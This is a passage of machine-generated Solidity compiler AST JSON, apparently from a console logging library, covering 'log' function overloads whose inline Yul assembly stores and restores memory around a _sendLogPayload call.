pure"}},"id":38490,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"145644:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":38491,"nodeType":"ExpressionStatement","src":"145644:27:22"},{"AST":{"nativeSrc":"145690:214:22","nodeType":"YulBlock","src":"145690:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"145711:4:22","nodeType":"YulLiteral","src":"145711:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"145717:2:22","nodeType":"YulIdentifier","src":"145717:2:22"}],"functionName":{"name":"mstore","nativeSrc":"145704:6:22","nodeType":"YulIdentifier","src":"145704:6:22"},"nativeSrc":"145704:16:22","nodeType":"YulFunctionCall","src":"145704:16:22"},"nativeSrc":"145704:16:22","nodeType":"YulExpressionStatement","src":"145704:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"145740:4:22","nodeType":"YulLiteral","src":"145740:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"145746:2:22","nodeType":"YulIdentifier","src":"145746:2:22"}],"functionName":{"name":"mstore","nativeSrc":"145733:6:22","nodeType":"YulIdentifier","src":"145733:6:22"},"nativeSrc":"145733:16:22","nodeType":"YulFunctionCall","src":"145733:16:22"},"nativeSrc":"145733:16:22","nodeType":"YulExpressionStatement","src":"145733:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"145769:4:22","nodeType":"YulLiteral","src":"145769:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"145775:2:22","nodeType":"YulIdentifier","src":"145775:2:22"}],"functionName":{"name":"mstore","nativeSrc":"145762:6:22","nodeType":"YulIdentifier","src":"145762:6:22"},"nativeSrc":"145762:16:22","nodeType":"YulFunctionCall","src":"145762:16:22"},"nativeSrc":"145762:16:22","nodeType":"YulExpressionStatement","src":"145762:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"145798:4:22","nodeType":"YulLiteral","src":"145798:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"145804:2:22","nodeType":"YulIdentifier","src":"145804:2:22"}],"functionName":{"name":"mstore","nativeSrc":"145791:6:22","nodeType":"YulIdentifier","src":"145791:6:22"},"nativeSrc":"145791:16:22","nodeType":"YulFunctionCall","src":"145791:16:22"},"nativeSrc":"145791:16:22","nodeType":"YulExpressionStatement","src":"145791:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"145827:4:22","nodeType":"YulLiteral","src":"145827:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"145833:2:22","nodeType":"YulIdentifier","src":"145833:2:22"}],"functionName":{"name":"mstore","nativeSrc":"145820:6:22","nodeType":"YulIdentifier","src":"145820:6:22"},"nativeSrc":"145820:16:22","nodeType":"YulFunctionCall","src":"145820:16:22"},"nativeSrc":"145820:16:22","nodeType":"YulExpressionStatement","src":"145820:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"145856:4:22","nodeType":"YulLiteral","src":"145856:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"145862:2:22","nodeType":"YulIdentifier","src":"145862:2:22"}],"functionName":{"name":"mstore","nativeSrc":"145849:6:22","nodeType":"YulIdentifier","src":"145849:6:22"},"nativeSrc":"145849:16:22","nodeType":"YulFunctionCall","src":"145849:16:22"},"nativeSrc":"145849:16:22","nodeType":"YulExpressionStatement","src":"145849:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"145885:4:22","nodeType":"YulLiteral","src":"145885:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"145891:2:22","nodeType":"YulIdentifier","src":"145891:2:22"}],"functionName":{"name":"mstore","nativeSrc":"145878:6:22","nodeType":"YulIdentifier","src":"145878:6:22"},"nativeSrc":"145878:16:22","nodeType":"YulFunctionCall","src":"145878:16:22"},"nativeSrc":"145878:16:22","nodeType":"YulExpressionStatement","src":"145878:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":38466,"isOffset":false,"isSlot":false,"src":"145717:2:22","valueSize":1},{"declaration":38469,"isOffset":false,"isSlot":false,"src":"145746:2:22","valueSize":1},{"declaration":38472,"isOffset":false,"isSlot":false,"src":"145775:2:22","valueSize":1},{"declaration":38475,"isOffset":false,"isSlot":false,"src":"145804:2:22","valueSize":1},{"declaration":38478,"isOffset":false,"isSlot":false,"src":"145833:2:22","valueSize":1},{"declaration":38481,"isOffset":false,"isSlot":false,"src":"145862:2:22","valueSize":1},{"declaration":38484,"isOffset":false,"isSlot":false,"src":"145891:2:22","valueSize":1}],"id":38492,"nodeType":"InlineAssembly","src":"145681:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"144579:3:22","parameters":{"id":38463,"nodeType":"ParameterList","parameters":[{"constant":false,"id":38456,"mutability":"mutable","name":"p0","nameLocation":"144591:2:22","nodeType":"VariableDeclaration","scope":38494,"src":"144583:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":38455,"name":"address","nodeType":"ElementaryTypeName","src":"144583:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":38458,"mutability":"mutable","name":"p1","nameLocation":"144603:2:22","nodeType":"VariableDeclaration","scope":38494,"src":"144595:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38457,"name":"bytes32","nodeType":"ElementaryTypeName","src":"144595:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":38460,"mutability":"mutable","name":"p2","nameLocation":"144615:2:22","nodeType":"VariableDeclaration","scope":38494,"src":"144607:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":38459,"name":"uint256","nodeType":"ElementaryTypeName","src":"144607:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":38462,"mutability":"mutable","name":"p3","nameLocation":"144627:2:22","nodeType":"VariableDeclaration","scope":38494,"src":"144619:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":38461,"name":"address","nodeType":"ElementaryTypeName","src":"144619:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"144582:48:22"},"returnParameters":{"id":38464,"nodeType":"ParameterList","parameters":[],"src":"144645:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":38534,"nodeType":"FunctionDefinition","src":"145916:1334:22","nodes":[],"body":{"id":38533,"nodeType":"Block","src":"145988:1262:22","nodes":[],"statements":[{"assignments":[38506],"declarations":[{"constant":false,"id":38506,"mutability":"mutable","name":"m0","nameLocation":"146006:2:22","nodeType":"VariableDeclaration","scope":38533,"src":"145998:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38505,"name":"bytes32","nodeType":"ElementaryTypeName","src":"145998:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38507,"nodeType":"VariableDeclarationStatement","src":"145998:10:22"},{"assignments":[38509],"declarations":[{"constant":false,"id":38509,"mutability":"mutable","name":"m1","nameLocation":"146026:2:22","nodeType":"VariableDeclaration","scope":38533,"src":"146018:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38508,"name":"bytes32","nodeType":"ElementaryTypeName","src":"146018:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38510,"nodeType":"VariableDeclarationStatement","src":"146018:10:22"},{"assignments":[38512],"declarations":[{"constant":false,"id":38512,"mutability":"mutable","name":"m2","nameLocation":"146046:2:22","nodeType":"VariableDeclaration","scope":38533,"src":"146038:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38511,"name":"bytes32","nodeType":"ElementaryTypeName","src":"146038:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38513,"nodeType":"VariableDeclarationStatement","src":"146038:10:22"},{"assignments":[38515],"declarations":[{"constant":false,"id":38515,"mutability":"mutable","name":"m3","nameLocation":"146066:2:22","nodeType":"VariableDeclaration","scope":38533,"src":"146058:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38514,"name":"bytes32","nodeType":"ElementaryTypeName","src":"146058:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38516,"nodeType":"VariableDeclarationStatement","src":"146058:10:22"},{"assignments":[38518],"declarations":[{"constant":false,"id":38518,"mutability":"mutable","name":"m4","nameLocation":"146086:2:22","nodeType":"VariableDeclaration","scope":38533,"src":"146078:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38517,"name":"bytes32","nodeType":"ElementaryTypeName","src":"146078:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38519,"nodeType":"VariableDeclarationStatement","src":"146078:10:22"},{"assignments":[38521],"declarations":[{"constant":false,"id":38521,"mutability":"mutable","name":"m5","nameLocation":"146106:2:22","nodeType":"VariableDeclaration","scope":38533,"src":"146098:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38520,"name":"bytes32","nodeType":"ElementaryTypeName","src":"146098:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38522,"nodeType":"VariableDeclarationStatement","src":"146098:10:22"},{"assignments":[38524],"declarations":[{"constant":false,"id":38524,"mutability":"mutable","name":"m6","nameLocation":"146126:2:22","nodeType":"VariableDeclaration","scope":38533,"src":"146118:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":38523,"name":"bytes32","nodeType":"ElementaryTypeName","src":"146118:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":38525,"nodeType":"VariableDeclarationStatement","src":"146118:10:22"},{"AST":{"nativeSrc":"146147:828:22","nodeType":"YulBlock","src":"146147:828:22","statements":[{"body":{"nativeSrc":"146190:313:22","nodeType":"YulBlock","src":"146190:313:22","statements":[{"nativeSrc":"146208:15:22","nodeType":"YulVariableDeclaration","src":"146208:15:22","value":{"kind":"number","nativeSrc":"146222:1:22","nodeType":"YulLiteral","src":"146222:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"146212:6:22","nodeType":"YulTypedName","src":"146212:6:22","type":""}]},{"body":{"nativeSrc":"146293:40:22","nodeType":"YulBlock","src":"146293:40:22","statements":[{"body":{"nativeSrc":"146322:9:22","nodeType":"YulBlock","src":"146322:9:22","statements":[{"nativeSrc":"146324:5:22","nodeType":"YulBreak","src":"146324:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"146310:6:22","nodeType":"YulIdentifier","src":"146310:6:22"},{"name":"w","nativeSrc":"146318:1:22","nodeType":"YulIdentifier","src":"146318:1:22"}],"functionName":{"name":"byte","nativeSrc":"146305:4:22","nodeType":"YulIdentifier","src":"146305:4:22"},"nativeSrc":"146305:15:22","nodeType":"YulFunctionCall","src":"146305:15:22"}],"functionName":{"name":"iszero","nativeSrc":"146298:6:22","nodeType":"YulIdentifier","src":"146298:6:22"},"nativeSrc":"146298:23:22","nodeType":"YulFunctionCall","src":"146298:23:22"},"nativeSrc":"146295:36:22","nodeType":"YulIf","src":"146295:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"146250:6:22","nodeType":"YulIdentifier","src":"146250:6:22"},{"kind":"number","nativeSrc":"146258:4:22","nodeType":"YulLiteral","src":"146258:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"146247:2:22","nodeType":"YulIdentifier","src":"146247:2:22"},"nativeSrc":"146247:16:22","nodeType":"YulFunctionCall","src":"146247:16:22"},"nativeSrc":"146240:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"146264:28:22","nodeType":"YulBlock","src":"146264:28:22","statements":[{"nativeSrc":"146266:24:22","nodeType":"YulAssignment","src":"146266:24:22","value":{"arguments":[{"name":"length","nativeSrc":"146280:6:22","nodeType":"YulIdentifier","src":"146280:6:22"},{"kind":"number","nativeSrc":"146288:1:22","nodeType":"YulLiteral","src":"146288:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"146276:3:22","nodeType":"YulIdentifier","src":"146276:3:22"},"nativeSrc":"146276:14:22","nodeType":"YulFunctionCall","src":"146276:14:22"},"variableNames":[{"name":"length","nativeSrc":"146266:6:22","nodeType":"YulIdentifier","src":"146266:6:22"}]}]},"pre":{"nativeSrc":"146244:2:22","nodeType":"YulBlock","src":"146244:2:22","statements":[]},"src":"146240:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"146357:3:22","nodeType":"YulIdentifier","src":"146357:3:22"},{"name":"length","nativeSrc":"146362:6:22","nodeType":"YulIdentifier","src":"146362:6:22"}],"functionName":{"name":"mstore","nativeSrc":"146350:6:22","nodeType":"YulIdentifier","src":"146350:6:22"},"nativeSrc":"146350:19:22","nodeType":"YulFunctionCall","src":"146350:19:22"},"nativeSrc":"146350:19:22","nodeType":"YulExpressionStatement","src":"146350:19:22"},{"nativeSrc":"146386:37:22","nodeType":"YulVariableDeclaration","src":"146386:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"146403:3:22","nodeType":"YulLiteral","src":"146403:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"146412:1:22","nodeType":"YulLiteral","src":"146412:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"146415:6:22","nodeType":"YulIdentifier","src":"146415:6:22"}],"functionName":{"name":"shl","nativeSrc":"146408:3:22","nodeType":"YulIdentifier","src":"146408:3:22"},"nativeSrc":"146408:14:22","nodeType":"YulFunctionCall","src":"146408:14:22"}],"functionName":{"name":"sub","nativeSrc":"146399:3:22","nodeType":"YulIdentifier","src":"146399:3:22"},"nativeSrc":"146399:24:22","nodeType":"YulFunctionCall","src":"146399:24:22"},"variables":[{"name":"shift","nativeSrc":"146390:5:22","nodeType":"YulTypedName","src":"146390:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"146451:3:22","nodeType":"YulIdentifier","src":"146451:3:22"},{"kind":"number","nativeSrc":"146456:4:22","nodeType":"YulLiteral","src":"146456:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"146447:3:22","nodeType":"YulIdentifier","src":"146447:3:22"},"nativeSrc":"146447:14:22","nodeType":"YulFunctionCall","src":"146447:14:22"},{"arguments":[{"name":"shift","nativeSrc":"146467:5:22","nodeType":"YulIdentifier","src":"146467:5:22"},{"arguments":[{"name":"shift","nativeSrc":"146478:5:22","nodeType":"YulIdentifier","src":"146478:5:22"},{"name":"w","nativeSrc":"146485:1:22","nodeType":"YulIdentifier","src":"146485:1:22"}],"functionName":{"name":"shr","nativeSrc":"146474:3:22","nodeType":"YulIdentifier","src":"146474:3:22"},"nativeSrc":"146474:13:22","nodeType":"YulFunctionCall","src":"146474:13:22"}],"functionName":{"name":"shl","nativeSrc":"146463:3:22","nodeType":"YulIdentifier","src":"146463:3:22"},"nativeSrc":"146463:25:22","nodeType":"YulFunctionCall","src":"146463:25:22"}],"functionName":{"name":"mstore","nativeSrc":"146440:6:22","nodeType":"YulIdentifier","src":"146440:6:22"},"nativeSrc":"146440:49:22","nodeType":"YulFunctionCall","src":"146440:49:22"},"nativeSrc":"146440:49:22","nodeType":"YulExpressionStatement","src":"146440:49:22"}]},"name":"writeString","nativeSrc":"146161:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"146182:3:22","nodeType":"YulTypedName","src":"146182:3:22","type":""},{"name":"w","nativeSrc":"146187:1:22","nodeType":"YulTypedName","src":"146187:1:22","type":""}],"src":"146161:342:22"},{"nativeSrc":"146516:17:22","nodeType":"YulAssignment","src":"146516:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"146528:4:22","nodeType":"YulLiteral","src":"146528:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"146522:5:22","nodeType":"YulIdentifier","src":"146522:5:22"},"nativeSrc":"146522:11:22","nodeType":"YulFunctionCall","src":"146522:11:22"},"variableNames":[{"name":"m0","nativeSrc":"146516:2:22","nodeType":"YulIdentifier","src":"146516:2:22"}]},{"nativeSrc":"146546:17:22","nodeType":"YulAssignment","src":"146546:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"146558:4:22","nodeType":"YulLiteral","src":"146558:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"146552:5:22","nodeType":"YulIdentifier","src":"146552:5:22"},"nativeSrc":"146552:11:22","nodeType":"YulFunctionCall","src":"146552:11:22"},"variableNames":[{"name":"m1","nativeSrc":"146546:2:22","nodeType":"YulIdentifier","src":"146546:2:22"}]},{"nativeSrc":"146576:17:22","nodeType":"YulAssignment","src":"146576:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"146588:4:22","nodeType":"YulLiteral","src":"146588:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"146582:5:22","nodeType":"YulIdentifier","src":"146582:5:22"},"nativeSrc":"146582:11:22","nodeType":"YulFunctionCall","src":"146582:11:22"},"variableNames":[{"name":"m2","nativeSrc":"146576:2:22","nodeType":"YulIdentifier","src":"146576:2:22"}]},{"nativeSrc":"146606:17:22","nodeType":"YulAssignment","src":"146606:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"146618:4:22","nodeType":"YulLiteral","src":"146618:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"146612:5:22","nodeType":"YulIdentifier","src":"146612:5:22"},"nativeSrc":"146612:11:22","nodeType":"YulFunctionCall","src":"146612:11:22"},"variableNames":[{"name":"m3","nativeSrc":"146606:2:22","nodeType":"YulIdentifier","src":"146606:2:22"}]},{"nativeSrc":"146636:17:22","nodeType":"YulAssignment","src":"146636:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"146648:4:22","nodeType":"YulLiteral","src":"146648:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"146642:5:22","nodeType":"YulIdentifier","src":"146642:5:22"},"nativeSrc":"146642:11:22","nodeType":"YulFunctionCall","src":"146642:11:22"},"variableNames":[{"name":"m4","nativeSrc":"146636:2:22","nodeType":"YulIdentifier","src":"146636:2:22"}]},{"nativeSrc":"146666:17:22","nodeType":"YulAssignment","src":"146666:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"146678:4:22","nodeType":"YulLiteral","src":"146678:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"146672:5:22","nodeType":"YulIdentifier","src":"146672:5:22"},"nativeSrc":"146672:11:22","nodeType":"YulFunctionCall","src":"146672:11:22"},"variableNames":[{"name":"m5","nativeSrc":"146666:2:22","nodeType":"YulIdentifier","src":"146666:2:22"}]},{"nativeSrc":"146696:17:22","nodeType":"YulAssignment","src":"146696:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"146708:4:22","nodeType":"YulLiteral","src":"146708:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"146702:5:22","nodeType":"YulIdentifier","src":"146702:5:22"},"nativeSrc":"146702:11:22","nodeType":"YulFunctionCall","src":"146702:11:22"},"variableNames":[{"name":"m6","nativeSrc":"146696:2:22","nodeType":"YulIdentifier","src":"146696:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"146796:4:22","nodeType":"YulLiteral","src":"146796:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"146802:10:22","nodeType":"YulLiteral","src":"146802:10:22","type":"","value":"0x0ef7e050"}],"functionName":{"name":"mstore","nativeSrc":"146789:6:22","nodeType":"YulIdentifier","src":"146789:6:22"},"nativeSrc":"146789:24:22","nodeType":"YulFunctionCall","src":"146789:24:22"},"nativeSrc":"146789:24:22","nodeType":"YulExpressionStatement","src":"146789:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"146833:4:22","nodeType":"YulLiteral","src":"146833:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"146839:2:22","nodeType":"YulIdentifier","src":"146839:2:22"}],"functionName":{"name":"mstore","nativeSrc":"146826:6:22","nodeType":"YulIdentifier","src":"146826:6:22"},"nativeSrc":"146826:16:22","nodeType":"YulFunctionCall","src":"146826:16:22"},"nativeSrc":"146826:16:22","nodeType":"YulExpressionStatement","src":"146826:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"146862:4:22","nodeType":"YulLiteral","src":"146862:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"146868:4:22","nodeType":"YulLiteral","src":"146868:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"146855:6:22","nodeType":"YulIdentifier","src":"146855:6:22"},"nativeSrc":"146855:18:22","nodeType":"YulFunctionCall","src":"146855:18:22"},"nativeSrc":"146855:18:22","nodeType":"YulExpressionStatement","src":"146855:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"146893:4:22","nodeType":"YulLiteral","src":"146893:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"146899:2:22","nodeType":"YulIdentifier","src":"146899:2:22"}],"functionName":{"name":"mstore","nativeSrc":"146886:6:22","nodeType":"YulIdentifier","src":"146886:6:22"},"nativeSrc":"146886:16:22","nodeType":"YulFunctionCall","src":"146886:16:22"},"nativeSrc":"146886:16:22","nodeType":"YulExpressionStatement","src":"146886:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"146922:4:22","nodeType":"YulLiteral","src":"146922:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"146928:2:22","nodeType":"YulIdentifier","src":"146928:2:22"}],"functionName":{"name":"mstore","nativeSrc":"146915:6:22","nodeType":"YulIdentifier","src":"146915:6:22"},"nativeSrc":"146915:16:22","nodeType":"YulFunctionCall","src":"146915:16:22"},"nativeSrc":"146915:16:22","nodeType":"YulExpressionStatement","src":"146915:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"146956:4:22","nodeType":"YulLiteral","src":"146956:4:22","type":"","value":"0xa0"},{"name":"p1","nativeSrc":"146962:2:22","nodeType":"YulIdentifier","src":"146962:2:22"}],"functionName":{"name":"writeString","nativeSrc":"146944:11:22","nodeType":"YulIdentifier","src":"146944:11:22"},"nativeSrc":"146944:21:22","nodeType":"YulFunctionCall","src":"146944:21:22"},"nativeSrc":"146944:21:22","nodeType":"YulExpressionStatement","src":"146944:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":38506,"isOffset":false,"isSlot":false,"src":"146516:2:22","valueSize":1},{"declaration":38509,"isOffset":false,"isSlot":false,"src":"146546:2:22","valueSize":1},{"declaration":38512,"isOffset":false,"isSlot":false,"src":"146576:2:22","valueSize":1},{"declaration":38515,"isOffset":false,"isSlot":false,"src":"146606:2:22","valueSize":1},{"declaration":38518,"isOffset":false,"isSlot":false,"src":"146636:2:22","valueSize":1},{"declaration":38521,"isOffset":false,"isSlot":false,"src":"146666:2:22","valueSize":1},{"declaration":38524,"isOffset":false,"isSlot":false,"src":"146696:2:22","valueSize":1},{"declaration":38496,"isOffset":false,"isSlot":false,"src":"146839:2:22","valueSize":1},{"declaration":38498,"isOffset":false,"isSlot":false,"src":"146962:2:22","valueSize":1},{"declaration":38500,"isOffset":false,"isSlot":false,"src":"146899:2:22","valueSize":1},{"declaration":38502,"isOffset":false,"isSlot":false,"src":"146928:2:22","valueSize":1}],"id":38526,"nodeType":"InlineAssembly","src":"146138:837:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":38528,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"147000:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":38529,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"147006:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":38527,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"146984:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":38530,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"146984:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":38531,"nodeType":"ExpressionStatement","src":"146984:27:22"},{"AST":{"nativeSrc":"147030:214:22","nodeType":"YulBlock","src":"147030:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"147051:4:22","nodeType":"YulLiteral","src":"147051:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"147057:2:22","nodeType":"YulIdentifier","src":"147057:2:22"}],"functionName":{"name":"mstore","nativeSrc":"147044:6:22","nodeType":"YulIdentifier","src":"147044:6:22"},"nativeSrc":"147044:16:22","nodeType":"YulFunctionCall","src":"147044:16:22"},"nativeSrc":"147044:16:22","nodeType":"YulExpressionStatement","src":"147044:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"147080:4:22","nodeType":"YulLiteral","src":"147080:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"147086:2:22","nodeType":"YulIdentifier","src":"147086:2:22"}],"functionName":{"name":"mstore","nativeSrc":"147073:6:22","nodeType":"YulIdentifier","src":"147073:6:22"},"nativeSrc":"147073:16:22","nodeType":"YulFunctionCall","src":"147073:16:22"},"nativeSrc":"147073:16:22","nodeType":"YulExpressionStatement","src":"147073:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"147109:4:22","nodeType":"YulLiteral","src":"147109:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"147115:2:22","nodeType":"YulIdentifier","src":"147115:2:22"}],"functionName":{"name":"mstore","nativeSrc":"147102:6:22","nodeType":"YulIdentifier","src":"147102:6:22"},"nativeSrc":"147102:16:22","nodeType":"YulFunctionCall","src":"147102:16:22"},"nativeSrc":"147102:16:22","nodeType":"YulExpressionStatement","src":"147102:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"147138:4:22","nodeType":"YulLiteral","src":"147138:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"147144:2:22","nodeType":"YulIdentifier","src":"147144:2:22"}],"functionName":{"name":"mstore","nativeSrc":"147131:6:22","nodeType":"YulIdentifier","src":"147131:6:22"},"nativeSrc":"147131:16:22","nodeType":"YulFunctionCall","src":"147131:16:22"},"nativeSrc":"147131:16:22","nodeType":"YulExpressionStatement","src":"147131:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"147167:4:22","nodeType":"YulLiteral","src":"147167:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"147173:2:22","nodeType":"YulIdentifier","src":"147173:2:22"}],"functionName":{"name":"mstore","nativeSrc":"147160:6:22","nodeType":"YulIdentifier","src":"147160:6:22"},"nativeSrc":"147160:16:22","nodeType":"YulFunctionCall","src":"147160:16:22"},"nativeSrc":"147160:16:22","nodeType":"YulExpressionStatement","src":"147160:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"147196:4:22","nodeType":"YulLiteral","src":"147196:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"147202:2:22","nodeType":"YulIdentifier","src":"147202:2:22"}],"functionName":{"name":"mstore","nativeSrc":"147189:6:22","nodeType":"YulIdentifier","src":"147189:6:22"},"nativeSrc":"147189:16:22","nodeType":"YulFunctionCall","src":"147189:16:22"},"nativeSrc":"147189:16:22","nodeType":"YulExpressionStatement","src":"147189:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"147225:4:22","nodeType":"YulLiteral","src":"147225:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"147231:2:22","nodeType":"YulIdentifier","src":"147231:2:22"}],"functionName":{"name":"mstore","nativeSrc":"147218:6:22","nodeType":"YulIdentifier","src":"147218:6:22"},"nativeSrc":"147218:16:22","nodeType":"YulFunctionCall","src":"147218:16:22"},"nativeSrc":"147218:16:22","nodeType":"YulExpressionStatement","src":"147218:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":38506,"isOffset":false,"isSlot":false,"src":"147057:2:22","valueSize":1},{"declaration":38509,"isOffset":false,"isSlot":false,"src":"147086:2:22","valueSize":1},{"declaration":38512,"isOffset":false,"